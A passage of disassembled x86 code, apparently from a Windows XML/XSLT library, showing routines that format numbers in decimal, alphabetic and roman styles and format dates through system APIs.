push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
call dword_69B92948
mov ebx, eax
test ebx, ebx
jnz short loc_69B746AA
mov eax, 80004005h
jmp short loc_69B74709
; ---------------------------------------------------------------------------
loc_69B746AA: ; CODE XREF: sub_69B74690+11j
push esi
mov esi, [ebp+arg_0]
push edi
lea ecx, [esi+0Ch]
call sub_69B87FDC
push eax
push ebx
lea ecx, [ebp+var_C]
call sub_69B1A8C7
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_69B7794D
mov edi, eax
test edi, edi
jz short loc_69B746F6
push [ebp+arg_14]
mov esi, [esi+18h]
push [ebp+arg_10]
mov eax, [esi]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword ptr [eax+14h]
mov edi, eax
loc_69B746F6: ; CODE XREF: sub_69B74690+4Aj
lea ecx, [ebp+var_C]
call sub_69B1976C
push ebx
call dword_69B92944
mov eax, edi
pop edi
pop esi
loc_69B74709: ; CODE XREF: sub_69B74690+18j
pop ebx
leave
retn 18h
sub_69B74690 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7470E proc near ; DATA XREF: .text:69B14218o
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 0Ch
push edi
call dword_69B92948
mov edi, eax
test edi, edi
jnz short loc_69B74728
mov eax, 80004005h
jmp short loc_69B747A2
; ---------------------------------------------------------------------------
loc_69B74728: ; CODE XREF: sub_69B7470E+11j
push esi
mov esi, [ebp+arg_0]
lea ecx, [esi+0Ch]
call sub_69B87FDC
push eax
push edi
lea ecx, [ebp+var_C]
call sub_69B1A8C7
mov ecx, [ebp+arg_4]
cmp ecx, 0BAh
jl short loc_69B7476F
cmp ecx, 0C3h
jg short loc_69B7476F
push [ebp+arg_20]
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push ecx
push esi
call sub_69B3C310
jmp short loc_69B7478E
; ---------------------------------------------------------------------------
loc_69B7476F: ; CODE XREF: sub_69B7470E+39j
; sub_69B7470E+41j
push [ebp+arg_20]
mov eax, [esi+18h]
push [ebp+arg_1C]
mov edx, [eax]
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push ecx
push eax
call dword ptr [edx+18h]
loc_69B7478E: ; CODE XREF: sub_69B7470E+5Fj
lea ecx, [ebp+var_C]
mov esi, eax
call sub_69B1976C
push edi
call dword_69B92944
mov eax, esi
pop esi
loc_69B747A2: ; CODE XREF: sub_69B7470E+18j
pop edi
leave
retn 24h
sub_69B7470E endp
; =============== S U B R O U T I N E =======================================
sub_69B747A7 proc near ; CODE XREF: sub_69B748BF+34p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_4], 0
push esi
mov esi, ecx
jnz short loc_69B747B5
xor eax, eax
jmp short loc_69B747CA
; ---------------------------------------------------------------------------
loc_69B747B5: ; CODE XREF: sub_69B747A7+8j
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_69B1A2EC
push eax
mov ecx, esi
call sub_69B74344
loc_69B747CA: ; CODE XREF: sub_69B747A7+Cj
pop esi
retn 8
sub_69B747A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B747CE proc near ; DATA XREF: .text:69B142ACo
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push edi
call dword_69B92948
mov edi, eax
test edi, edi
jnz short loc_69B747E8
mov eax, 80004005h
jmp short loc_69B7483B
; ---------------------------------------------------------------------------
loc_69B747E8: ; CODE XREF: sub_69B747CE+11j
mov ecx, [ebp+arg_0]
push esi
add ecx, 0Ch
call sub_69B87FDC
push eax
push edi
lea ecx, [ebp+var_C]
call sub_69B1A8C7
mov esi, [ebp+arg_8]
test esi, esi
jnz short loc_69B7480C
mov esi, 80004003h
jmp short loc_69B74829
; ---------------------------------------------------------------------------
loc_69B7480C: ; CODE XREF: sub_69B747CE+35j
cmp [ebp+arg_4], 0
jz short loc_69B74824
push [ebp+arg_4]
call sub_69B47D5E
test eax, eax
jz short loc_69B74824
mov [esi], eax
xor esi, esi
jmp short loc_69B74829
; ---------------------------------------------------------------------------
loc_69B74824: ; CODE XREF: sub_69B747CE+42j
; sub_69B747CE+4Ej
mov esi, 80070057h
loc_69B74829: ; CODE XREF: sub_69B747CE+3Cj
; sub_69B747CE+54j
lea ecx, [ebp+var_C]
call sub_69B1976C
push edi
call dword_69B92944
mov eax, esi
pop esi
loc_69B7483B: ; CODE XREF: sub_69B747CE+18j
pop edi
leave
retn 0Ch
sub_69B747CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B74840 proc near ; DATA XREF: .text:69B142B4o
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push edi
call dword_69B92948
mov edi, eax
test edi, edi
jnz short loc_69B7485A
mov eax, 80004005h
jmp short loc_69B748BA
; ---------------------------------------------------------------------------
loc_69B7485A: ; CODE XREF: sub_69B74840+11j
mov ecx, [ebp+arg_0]
push esi
add ecx, 0Ch
call sub_69B87FDC
push eax
push edi
lea ecx, [ebp+var_C]
call sub_69B1A8C7
mov esi, [ebp+arg_8]
test esi, esi
jnz short loc_69B7487E
mov esi, 80004003h
jmp short loc_69B748A8
; ---------------------------------------------------------------------------
loc_69B7487E: ; CODE XREF: sub_69B74840+35j
cmp [ebp+arg_4], 0
jz short loc_69B748A3
push [ebp+arg_4]
call sub_69B47D5E
test eax, eax
jz short loc_69B748A3
mov edx, [eax]
push 1
mov ecx, eax
call dword ptr [edx+88h]
inc eax
mov [esi], eax
xor esi, esi
jmp short loc_69B748A8
; ---------------------------------------------------------------------------
loc_69B748A3: ; CODE XREF: sub_69B74840+42j
; sub_69B74840+4Ej
mov esi, 80070057h
loc_69B748A8: ; CODE XREF: sub_69B74840+3Cj
; sub_69B74840+61j
lea ecx, [ebp+var_C]
call sub_69B1976C
push edi
call dword_69B92944
mov eax, esi
pop esi
loc_69B748BA: ; CODE XREF: sub_69B74840+18j
pop edi
leave
retn 0Ch
sub_69B74840 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B748BF(int, LPCWSTR lpString, int, int)
sub_69B748BF proc near ; DATA XREF: .text:69B142B8o
arg_0 = dword ptr 8
lpString = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_C]
test edi, edi
jnz short loc_69B748D1
mov eax, 80004003h
jmp short loc_69B7491A
; ---------------------------------------------------------------------------
loc_69B748D1: ; CODE XREF: sub_69B748BF+9j
cmp [ebp+arg_8], 0
push esi
jz short loc_69B74914
push [ebp+arg_8]
call sub_69B47D5E
mov esi, eax
test esi, esi
jz short loc_69B74914
push [ebp+lpString] ; lpString
call sub_69B1A587
mov ecx, [ebp+arg_0]
push esi
push eax
call sub_69B747A7
test eax, eax
jz short loc_69B7490D
mov edx, [eax]
push 1
mov ecx, eax
call dword ptr [edx+88h]
inc eax
mov [edi], eax
jmp short loc_69B74910
; ---------------------------------------------------------------------------
loc_69B7490D: ; CODE XREF: sub_69B748BF+3Bj
and dword ptr [edi], 0
loc_69B74910: ; CODE XREF: sub_69B748BF+4Cj
xor eax, eax
jmp short loc_69B74919
; ---------------------------------------------------------------------------
loc_69B74914: ; CODE XREF: sub_69B748BF+17j
; sub_69B748BF+25j
mov eax, 80070057h
loc_69B74919: ; CODE XREF: sub_69B748BF+53j
pop esi
loc_69B7491A: ; CODE XREF: sub_69B748BF+10j
pop edi
pop ebp
retn 10h
sub_69B748BF endp
; =============== S U B R O U T I N E =======================================
sub_69B7491F proc near ; DATA XREF: .text:69B142C0o
push 0C8h
push offset dword_69B74C40
call sub_69B19C5C
mov eax, dword_69B92170
xor eax, [ebp+4]
mov [ebp-1Ch], eax
call dword_69B92948
mov [ebp-20h], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B74952
mov eax, 80004005h
jmp loc_69B74C2A
; ---------------------------------------------------------------------------
loc_69B74952: ; CODE XREF: sub_69B7491F+27j
mov ebx, [ebp+8]
lea ecx, [ebx+0Ch]
call sub_69B87FDC
push eax
push dword ptr [ebp-20h]
lea ecx, [ebp-2Ch]
call sub_69B1A8C7
mov [ebp-4], edi
mov esi, [ebp+10h]
push esi ; lpString
call ds:lstrlenW ; lstrlenW
xor ecx, ecx
inc ecx
cmp eax, ecx
jle short loc_69B74987
cmp word ptr [esi], 30h
jnz loc_69B74BCB
loc_69B74987: ; CODE XREF: sub_69B7491F+5Cj
mov [ebp-30h], ecx
movzx eax, word ptr [esi]
cmp eax, 30h
jl loc_69B74BE2
cmp eax, 31h
jle loc_69B74AAD
cmp eax, 41h
jz short loc_69B74A04
cmp eax, 49h
jz short loc_69B749BC
cmp eax, 61h
jz short loc_69B749FF
cmp eax, 69h
jnz loc_69B74BE2
xor ecx, ecx
mov [ebp-30h], ecx
loc_69B749BC: ; CODE XREF: sub_69B7491F+88j
cmp [ebp+0Ch], edi
jle short loc_69B74A0B
cmp [esi+2], di
jnz loc_69B74BCB
push ecx
push 3Ch
lea eax, [ebp-6Ch]
push eax
push dword ptr [ebp+0Ch]
mov ecx, ebx
call sub_69B743F9
test eax, eax
jz short loc_69B74A15
lea eax, [ebp-6Ch]
push eax ; OLECHAR *
call SysAllocString
mov ecx, [ebp+14h]
mov [ecx], eax
cmp eax, edi
jz loc_69B74BC2
mov [ebp-70h], edi
jmp loc_69B74C0C
; ---------------------------------------------------------------------------
loc_69B749FF: ; CODE XREF: sub_69B7491F+8Dj
xor ecx, ecx
mov [ebp-30h], ecx
loc_69B74A04: ; CODE XREF: sub_69B7491F+83j
mov edi, [ebp+0Ch]
test edi, edi
jg short loc_69B74A21
loc_69B74A0B: ; CODE XREF: sub_69B7491F+A0j
push 0C00CE306h
jmp loc_69B74BD0
; ---------------------------------------------------------------------------
loc_69B74A15: ; CODE XREF: sub_69B7491F+BFj
mov dword ptr [ebp-70h], 80004005h
jmp loc_69B74C0C
; ---------------------------------------------------------------------------
loc_69B74A21: ; CODE XREF: sub_69B7491F+EAj
cmp word ptr [esi+2], 0
jnz loc_69B74BCB
mov eax, edi
cdq
push 1Ah
pop esi
idiv esi
mov esi, eax
xor eax, eax
test edx, edx
setnle al
add eax, esi
mov [ebp-74h], eax
cdq
push 1Eh
pop esi
mov ebx, esi
idiv ebx
mov [ebp-74h], edx
test edx, edx
jnz short loc_69B74A54
mov [ebp-74h], esi
loc_69B74A54: ; CODE XREF: sub_69B7491F+130j
neg ecx
sbb ecx, ecx
and ecx, 0FFFFFFE0h
add ecx, 61h
lea eax, [edi-1]
cdq
push 1Ah
pop esi
idiv esi
add ecx, edx
mov [ebp-78h], ecx
xor eax, eax
loc_69B74A6E: ; CODE XREF: sub_69B7491F+160j
mov [ebp-7Ch], eax
cmp eax, [ebp-74h]
jge short loc_69B74A81
mov [ebp+eax*2-0BCh], cx
inc eax
jmp short loc_69B74A6E
; ---------------------------------------------------------------------------
loc_69B74A81: ; CODE XREF: sub_69B7491F+155j
and word ptr [ebp+eax*2-0BCh], 0
lea eax, [ebp-0BCh]
push eax ; OLECHAR *
call SysAllocString
mov ecx, [ebp+14h]
mov [ecx], eax
test eax, eax
jz loc_69B74BC2
loc_69B74AA4: ; CODE XREF: sub_69B7491F+29Dj
and dword ptr [ebp-70h], 0
jmp loc_69B74C0C
; ---------------------------------------------------------------------------
loc_69B74AAD: ; CODE XREF: sub_69B7491F+7Aj
; sub_69B7491F+19Cj
mov [ebp-0C0h], edi
cmp word ptr [esi+edi*2], 30h
jnz short loc_69B74ABD
inc edi
jmp short loc_69B74AAD
; ---------------------------------------------------------------------------
loc_69B74ABD: ; CODE XREF: sub_69B7491F+199j
lea eax, [esi+edi*2]
cmp word ptr [eax], 31h
jnz loc_69B74BCB
cmp word ptr [eax+2], 0
jnz loc_69B74BCB
test edi, edi
jle short loc_69B74AE0
inc edi
mov [ebp-0C0h], edi
loc_69B74AE0: ; CODE XREF: sub_69B7491F+1B8j
push dword ptr [ebp+0Ch]
mov ecx, ebx
call sub_69B74528
mov ebx, eax
mov [ebp-0C4h], ebx
cmp dword ptr [ebp+0Ch], 0
jge short loc_69B74AFF
dec ebx
mov [ebp-0C4h], ebx
loc_69B74AFF: ; CODE XREF: sub_69B7491F+1D7j
cmp ebx, edi
mov eax, ebx
jg short loc_69B74B07
mov eax, edi
loc_69B74B07: ; CODE XREF: sub_69B7491F+1E4j
lea eax, [eax+eax+4]
push eax
call sub_69B11E44
mov [ebp-0C8h], eax
mov esi, eax
mov [ebp-0CCh], esi
test eax, eax
jz loc_69B74BC2
xor ecx, ecx
mov [ebp-0D0h], ecx
cmp [ebp+0Ch], ecx
jge short loc_69B74B4E
mov word ptr [eax], 2Dh
inc ecx
mov [ebp-0D0h], ecx
neg dword ptr [ebp+0Ch]
test edi, edi
jle short loc_69B74B6D
inc edi
mov [ebp-0C0h], edi
loc_69B74B4E: ; CODE XREF: sub_69B7491F+213j
test edi, edi
jle short loc_69B74B6D
sub edi, ebx
mov [ebp-0C0h], edi
loc_69B74B5A: ; CODE XREF: sub_69B7491F+24Cj
cmp ecx, edi
jge short loc_69B74B6D
mov word ptr [esi+ecx*2], 30h
inc ecx
mov [ebp-0D0h], ecx
jmp short loc_69B74B5A
; ---------------------------------------------------------------------------
loc_69B74B6D: ; CODE XREF: sub_69B7491F+226j
; sub_69B7491F+231j ...
lea ecx, [ecx+ebx-1]
mov [ebp-0D0h], ecx
and word ptr [esi+ecx*2+2], 0
loc_69B74B7D: ; CODE XREF: sub_69B7491F+280j
mov eax, [ebp+0Ch]
cdq
push 0Ah
pop edi
idiv edi
mov [ebp-0D4h], edx
mov [ebp+0Ch], eax
add edx, 30h
mov [esi+ecx*2], dx
dec ecx
mov [ebp-0D0h], ecx
test eax, eax
jg short loc_69B74B7D
push esi ; OLECHAR *
call SysAllocString
mov edi, [ebp+14h]
mov [edi], eax
mov [ebp-0D8h], esi
push esi
call sub_69B1B2B7
cmp dword ptr [edi], 0
jnz loc_69B74AA4
loc_69B74BC2: ; CODE XREF: sub_69B7491F+D2j
; sub_69B7491F+17Fj ...
mov dword ptr [ebp-70h], 8007000Eh
jmp short loc_69B74C0C
; ---------------------------------------------------------------------------
loc_69B74BCB: ; CODE XREF: sub_69B7491F+62j
; sub_69B7491F+A6j ...
push 0C00CE307h
loc_69B74BD0: ; CODE XREF: sub_69B7491F+F1j
call sub_69B2D34C
or dword ptr [ebp-4], 0FFFFFFFFh
mov dword ptr [ebp-70h], 80020009h
jmp short loc_69B74C10
; ---------------------------------------------------------------------------
loc_69B74BE2: ; CODE XREF: sub_69B7491F+71j
; sub_69B7491F+92j
mov dword ptr [ebp-70h], 80070057h
jmp short loc_69B74C0C
; ---------------------------------------------------------------------------
loc_69B74BEB: ; DATA XREF: .text:69B74C44o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B74BF4: ; DATA XREF: .text:69B74C48o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-70h], eax
loc_69B74C0C: ; CODE XREF: sub_69B7491F+DBj
; sub_69B7491F+FDj ...
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B74C10: ; CODE XREF: sub_69B7491F+2C1j
lea ecx, [ebp-2Ch]
call sub_69B1976C
cmp dword ptr [ebp-20h], 0
jz short loc_69B74C27
push dword ptr [ebp-20h]
call dword_69B92944
loc_69B74C27: ; CODE XREF: sub_69B7491F+2FDj
mov eax, [ebp-70h]
loc_69B74C2A: ; CODE XREF: sub_69B7491F+2Ej
mov ecx, [ebp-1Ch]
xor ecx, [ebp+4]
call sub_69B1B9F6
call sub_69B1853C
retn 10h
sub_69B7491F endp
; ---------------------------------------------------------------------------
align 10h
dword_69B74C40 dd 0FFFFFFFFh dd offset loc_69B74BEB
dd offset loc_69B74BF4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=58h
; int __stdcall sub_69B74C4C(VARIANTARG pvargDest, int, int, int, int)
sub_69B74C4C proc near ; CODE XREF: sub_69B74D9D+23p
; sub_69B74DCB+23p
var_110 = qword ptr -110h
var_A0 = word ptr -0A0h
pudateOut = UDATE ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
pvargDest = VARIANTARG ptr 8
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
lea ebp, [esp-58h]
sub esp, 0A0h
mov eax, dword_69B92170
xor eax, [ebp+5Ch]
push esi
mov [ebp+58h+var_4], eax
mov eax, [ebp+58h+arg_18]
xor esi, esi
cmp eax, esi
mov [ebp+58h+var_8], esi
jnz short loc_69B74C79
mov eax, 80004003h
jmp loc_69B74D8A
; ---------------------------------------------------------------------------
loc_69B74C79: ; CODE XREF: sub_69B74C4C+21j
mov [eax], esi
mov eax, [ebp+58h+arg_10]
cmp eax, esi
jz loc_69B74D88
cmp [eax], si
jz loc_69B74D88
mov ax, word ptr [ebp+58h+pvargDest.anonymous_0]
cmp ax, 7
push edi
jz short loc_69B74CD2
cmp ax, 8
jz short loc_69B74CBC
cmp ax, 4008h
jz short loc_69B74CBC
cmp ax, si
jz short loc_69B74CBC
push 7 ; vt
push esi ; wFlags
lea eax, [ebp+58h+pvargDest]
push eax ; pvarSrc
push eax ; pvargDest
call VariantChangeType
mov [ebp+58h+var_C], eax
loc_69B74CBC: ; CODE XREF: sub_69B74C4C+52j
; sub_69B74C4C+58j ...
cmp word ptr [ebp+58h+pvargDest.anonymous_0], 7
jnz short loc_69B74CC8
cmp [ebp+58h+var_C], esi
jge short loc_69B74CD2
loc_69B74CC8: ; CODE XREF: sub_69B74C4C+75j
mov edi, 80070057h
jmp loc_69B74D73
; ---------------------------------------------------------------------------
loc_69B74CD2: ; CODE XREF: sub_69B74C4C+4Cj
; sub_69B74C4C+7Aj
fld qword ptr [ebp+58h+pvargDest.anonymous_0+8]
lea eax, [ebp+58h+pudateOut]
push eax ; pudateOut
push esi ; dwFlags
push ecx
push ecx ; dateIn
fstp [esp+0B8h+var_110]
call VarUdateFromDate
mov edi, eax
cmp edi, esi
jl loc_69B74D73
cmp [ebp+58h+arg_1C], esi
push ebx
mov ebx, ds:SHLWAPI_311
jnz short loc_69B74D01
mov ebx, ds:SHLWAPI_310
loc_69B74D01: ; CODE XREF: sub_69B74C4C+ADj
push 40h
lea edi, [ebp+58h+var_A0]
mov eax, edi
push eax
push [ebp+58h+arg_10]
lea eax, [ebp+58h+pudateOut]
push eax
push esi
push [ebp+58h+arg_14]
mov [ebp+58h+var_8], edi
call ebx ; SHLWAPI_311
cmp eax, esi
jnz short loc_69B74D57
push esi
push esi
push [ebp+58h+arg_10]
lea eax, [ebp+58h+pudateOut]
push eax
push esi
push [ebp+58h+arg_14]
call ebx ; SHLWAPI_311
mov edi, eax
lea eax, [edi+edi]
push eax
call sub_69B11E44
cmp eax, esi
mov [ebp+58h+var_8], eax
jnz short loc_69B74D45
loc_69B74D3E: ; CODE XREF: sub_69B74C4C+11Dj
mov edi, 8007000Eh
jmp short loc_69B74D72
; ---------------------------------------------------------------------------
loc_69B74D45: ; CODE XREF: sub_69B74C4C+F0j
push edi
push eax
push [ebp+58h+arg_10]
lea eax, [ebp+58h+pudateOut]
push eax
push esi
push [ebp+58h+arg_14]
call ebx ; SHLWAPI_311
mov edi, [ebp+58h+var_8]
loc_69B74D57: ; CODE XREF: sub_69B74C4C+CFj
cmp [edi+eax*2-2], si
jnz short loc_69B74D5F
dec eax
loc_69B74D5F: ; CODE XREF: sub_69B74C4C+110j
push eax ; UINT
push edi ; OLECHAR *
call SysAllocStringLen
cmp eax, esi
jz short loc_69B74D3E
mov ecx, [ebp+58h+arg_18]
mov [ecx], eax
xor edi, edi
loc_69B74D72: ; CODE XREF: sub_69B74C4C+F7j
pop ebx
loc_69B74D73: ; CODE XREF: sub_69B74C4C+81j
; sub_69B74C4C+9Dj
lea eax, [ebp+58h+var_A0]
cmp [ebp+58h+var_8], eax
jz short loc_69B74D83
push [ebp+58h+var_8]
call sub_69B1B2B7
loc_69B74D83: ; CODE XREF: sub_69B74C4C+12Dj
mov eax, edi
pop edi
jmp short loc_69B74D8A
; ---------------------------------------------------------------------------
loc_69B74D88: ; CODE XREF: sub_69B74C4C+34j
; sub_69B74C4C+3Dj
xor eax, eax
loc_69B74D8A: ; CODE XREF: sub_69B74C4C+28j
; sub_69B74C4C+13Aj
mov ecx, [ebp+58h+var_4]
xor ecx, [ebp+5Ch]
pop esi
call sub_69B1B9F6
add ebp, 58h
leave
retn 20h
sub_69B74C4C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B74D9D proc near ; DATA XREF: .text:69B142C8o
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_14 = dword ptr 1Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
push esi
push edi
call ds:GetThreadLocale ; GetThreadLocale
push 1 ; int
push [ebp+arg_28] ; int
mov ecx, [ebp+arg_0]
push eax ; int
push [ebp+arg_14] ; int
lea esi, [ebp+arg_4]
sub esp, 10h
mov edi, esp
movsd
movsd
movsd
movsd
call sub_69B74C4C
pop edi
pop esi
pop ebp
retn 2Ch
sub_69B74D9D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B74DCB proc near ; DATA XREF: .text:69B142CCo
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_14 = dword ptr 1Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
push esi
push edi
call ds:GetThreadLocale ; GetThreadLocale
push 0 ; int
push [ebp+arg_28] ; int
mov ecx, [ebp+arg_0]
push eax ; int
push [ebp+arg_14] ; int
lea esi, [ebp+arg_4]
sub esp, 10h
mov edi, esp
movsd
movsd
movsd
movsd
call sub_69B74C4C
pop edi
pop esi
pop ebp
retn 2Ch
sub_69B74DCB endp
; =============== S U B R O U T I N E =======================================
sub_69B74DF9 proc near ; CODE XREF: sub_69B74E6A+3p
mov dword ptr [ecx-0Ch], offset off_69B14200
mov dword ptr [ecx-8], offset off_69B2A510
mov dword ptr [ecx], offset off_69B2A50C
add ecx, 0Ch
push ecx
call sub_69B17230
jmp sub_69B2C65C
sub_69B74DF9 endp
; =============== S U B R O U T I N E =======================================
sub_69B74E1B proc near ; DATA XREF: .text:off_69B2A510o
arg_0 = dword ptr 4
sub [esp+arg_0], 4
jmp sub_69B745C5
sub_69B74E1B endp
; =============== S U B R O U T I N E =======================================
sub_69B74E25 proc near ; CODE XREF: sub_69B74E46+3p
push esi
mov esi, ecx
mov dword ptr [esi+8], offset dword_69B9A864
push off_69B9A868
lea ecx, [esi+0Ch]
call sub_69B1D9B7
call sub_69B1E031
mov eax, esi
pop esi
retn
sub_69B74E25 endp
; =============== S U B R O U T I N E =======================================
sub_69B74E46 proc near ; CODE XREF: sub_69B70BCE+16p
push esi
mov esi, ecx
call sub_69B74E25
mov dword ptr [esi], offset off_69B14200
mov dword ptr [esi+4], offset off_69B2A510
mov dword ptr [esi+0Ch], offset off_69B2A50C
and dword ptr [esi+18h], 0
mov eax, esi
pop esi
retn
sub_69B74E46 endp
; =============== S U B R O U T I N E =======================================
sub_69B74E6A proc near ; DATA XREF: .text:off_69B2A50Co
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B74DF9
test [esp+4+arg_0], 1
jz short loc_69B74E82
lea eax, [esi-0Ch]
push eax
call sub_69B1B2B7
loc_69B74E82: ; CODE XREF: sub_69B74E6A+Dj
lea eax, [esi-0Ch]
pop esi
retn 4
sub_69B74E6A endp
; =============== S U B R O U T I N E =======================================
sub_69B74E89 proc near ; DATA XREF: .text:69B142ECo
mov eax, offset off_69B74E90
retn
sub_69B74E89 endp
; ---------------------------------------------------------------------------
align 10h
off_69B74E90 dd offset off_69B2A4EC ; DATA XREF: sub_69B74E89o
dd offset loc_69B74F68
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B74E98 proc near ; DATA XREF: .text:69B14324o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_8]
cmp eax, dword_69B9B578
push esi
mov esi, ecx
jnz short loc_69B74ED1
push [ebp+arg_C]
mov ecx, [ebp+arg_0]
call sub_69B6EB90
push 2
push [ebp+arg_C]
push esi
push [ebp+arg_0]
call sub_69B73499
push [ebp+arg_4]
mov edx, [eax]
push [ebp+arg_0]
mov ecx, eax
call dword ptr [edx+3Ch]
jmp short loc_69B74ED5
; ---------------------------------------------------------------------------
loc_69B74ED1: ; CODE XREF: sub_69B74E98+Fj
or dword ptr [esi+24h], 4
loc_69B74ED5: ; CODE XREF: sub_69B74E98+37j
pop esi
pop ebp
retn 10h
sub_69B74E98 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B74EDA proc near ; CODE XREF: sub_69B750B7+3Bp
pvar = VARIANTARG ptr -14h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 14h
push esi
push dword_69B9B498
mov [ebp+var_4], ecx
mov ecx, [ecx+0Ch]
mov eax, [ecx]
call dword ptr [eax+0A8h]
mov esi, eax
test esi, esi
jz short loc_69B74F41
mov eax, [esi+8]
mov ecx, [esi+0Ch]
push ebx
push 0 ; int
push 0 ; int
lea edx, [ebp+pvar]
push edx ; pvar
push 0FFFFFFFFh ; int
push 0FFFFFFFFh ; int
push 1Eh ; int
push eax ; cElements
push ecx ; strIn
call sub_69B30856
mov ebx, eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+30h]
test ebx, ebx
pop ebx
jge short loc_69B74F34
push 0
push 0
push esi
push 0C00CE313h
call sub_69B6E277
loc_69B74F34: ; CODE XREF: sub_69B74EDA+49j
mov eax, [ebp+var_4]
fld qword ptr [ebp+pvar.anonymous_0+8]
fstp qword ptr [eax+38h]
mov al, 1
jmp short loc_69B74F43
; ---------------------------------------------------------------------------
loc_69B74F41: ; CODE XREF: sub_69B74EDA+1Fj
xor al, al
loc_69B74F43: ; CODE XREF: sub_69B74EDA+65j
pop esi
leave
retn 4
sub_69B74EDA endp
; =============== S U B R O U T I N E =======================================
sub_69B74F48 proc near ; CODE XREF: .text:69B74F77p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B72446
mov dword ptr [esi], offset off_69B142D0
and dword ptr [esi+2Ch], 0
and dword ptr [esi+30h], 0
mov eax, esi
pop esi
retn 4
sub_69B74F48 endp
; ---------------------------------------------------------------------------
loc_69B74F68: ; DATA XREF: .text:69B74E94o
push 48h
call sub_69B17EF3
test eax, eax
jz short loc_69B74F7D
push 0
mov ecx, eax
call sub_69B74F48
retn
; ---------------------------------------------------------------------------
loc_69B74F7D: ; CODE XREF: .text:69B74F71j
xor eax, eax
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B751ED
loc_69B74F80: ; CODE XREF: sub_69B751ED+Dj
push esi
push 0
push [esp+8+arg_4]
mov esi, ecx
push [esp+0Ch+arg_0]
call sub_69B724DF
push [esp+4+arg_8]
lea eax, [esi+2Ch]
mov dword ptr [esi], offset off_69B142D0
and dword ptr [eax], 0
and dword ptr [esi+30h], 0
push eax
call sub_69B17320
mov eax, esi
pop esi
retn 0Ch
; END OF FUNCTION CHUNK FOR sub_69B751ED
; =============== S U B R O U T I N E =======================================
sub_69B74FB2 proc near ; DATA XREF: .text:69B14304o
; .text:69B16414o
push esi
mov esi, ecx
push 0
lea eax, [esi+2Ch]
push eax
call sub_69B17320
push 0
lea eax, [esi+30h]
push eax
call sub_69B17320
mov ecx, esi
pop esi
jmp sub_69B7251E
sub_69B74FB2 endp
; =============== S U B R O U T I N E =======================================
sub_69B74FD3 proc near ; DATA XREF: .text:69B142F8o
push esi
push edi
mov esi, ecx
call sub_69B7254A
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+10h]
mov edi, eax
lea eax, [esi+2Ch]
push eax
lea ecx, [edi+2Ch]
call sub_69B4D414
lea eax, [esi+30h]
push eax
lea ecx, [edi+30h]
call sub_69B4D414
fld qword ptr [esi+38h]
fstp qword ptr [edi+38h]
mov eax, [esi+40h]
mov [edi+40h], eax
mov eax, edi
pop edi
pop esi
retn
sub_69B74FD3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7500E proc near ; CODE XREF: sub_69B750B7+B6p
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
mov edi, [ebp+arg_0]
mov esi, ecx
mov ecx, [esi+28h]
push esi
push edi
call sub_69B72411
mov ecx, [esi+2Ch]
test ecx, ecx
jz loc_69B750B1
test byte ptr [esi+24h], 1
jnz short loc_69B750B1
cmp dword ptr [edi+0A8h], 2
